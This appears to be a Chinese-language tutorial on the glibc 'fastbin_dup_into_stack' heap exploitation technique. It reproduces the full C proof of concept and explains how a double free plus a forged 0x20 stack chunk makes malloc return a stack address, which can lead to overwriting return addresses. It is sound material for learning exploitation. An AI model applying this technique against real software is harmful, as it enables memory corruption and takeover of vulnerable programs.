源代码
1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main() 5 { 6 fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" 7 "returning a pointer to a controlled location (in this case, the stack).\n"); 8 9 unsigned long long stack_var; 10 11 fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); 12 13 fprintf(stderr, "Allocating 3 buffers.\n"); 14 int *a = malloc(8); 15 int *b = malloc(8); 16 int *c = malloc(8); 17 18 fprintf(stderr, "1st malloc(8): %p\n", a); 19 fprintf(stderr, "2nd malloc(8): %p\n", b); 20 fprintf(stderr, "3rd malloc(8): %p\n", c); 21 22 fprintf(stderr, "Freeing the first one...\n"); 23 free(a); 24 25 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 26 // free(a); 27 28 fprintf(stderr, "So, instead, we'll free %p.\n", b); 29 free(b); 30 31 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 32 free(a); 33 34 fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 35 "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 36 unsigned long long *d = malloc(8); 37 38 fprintf(stderr, "1st malloc(8): %p\n", d); 39 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); 40 fprintf(stderr, "Now the free list has [ %p ].\n", a); 41 fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 42 "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 43 "so that malloc will think there is a free chunk there and agree to\n" 44 "return a pointer to it.\n", a); 45 stack_var = 0x20; 46 47 fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 48 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 49 50 fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); 51 fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); 52 }
运行结果
checksec
先申明了一个unsigned long long类型的变量stack_var 是main函数的局部变量,所以在栈上
之后同fastbin_dup中一样,造成double free效果
a->b->a
先申请一块8字节内存d,使用了a的内存
此时链表 b->a
再将b也申请掉
链表中只剩下a
将stack_var变量修改为0x20 即a b d堆块size字段相同大小
将d数据内存的前8个字节修改为&stack_var-8
即伪造d堆块的fd字段为&stack_var-8
在&stack_var-8处伪造了一个堆块fake
字段size=0x20
栈内存
0x7fffffffdcd0处即为stack_var=0x20
伪造的堆块所占内存为0x7fffffffdcc8——0x7fffffffdce8
然后将d->fd=fake
因为d和a指向同一块内存
所以a->fd=fake
此时0x20的fastbin内容
只要分配掉剩下的a,再分配即分配到了栈中伪造的堆块&stack_var-8处
这里利用了fastbin分配的机制,只检查size字段是否相同
fastbin中各堆块用fd指针指向fastbin中前一块堆块
取出时采用后进先出原则,配合double free即造成任意分配内存到栈中的漏洞
要点在于伪造堆,size字段和要分配的堆块相同
如果之后可以向堆块写入内容的话,即可覆盖栈中内容,返回地址等。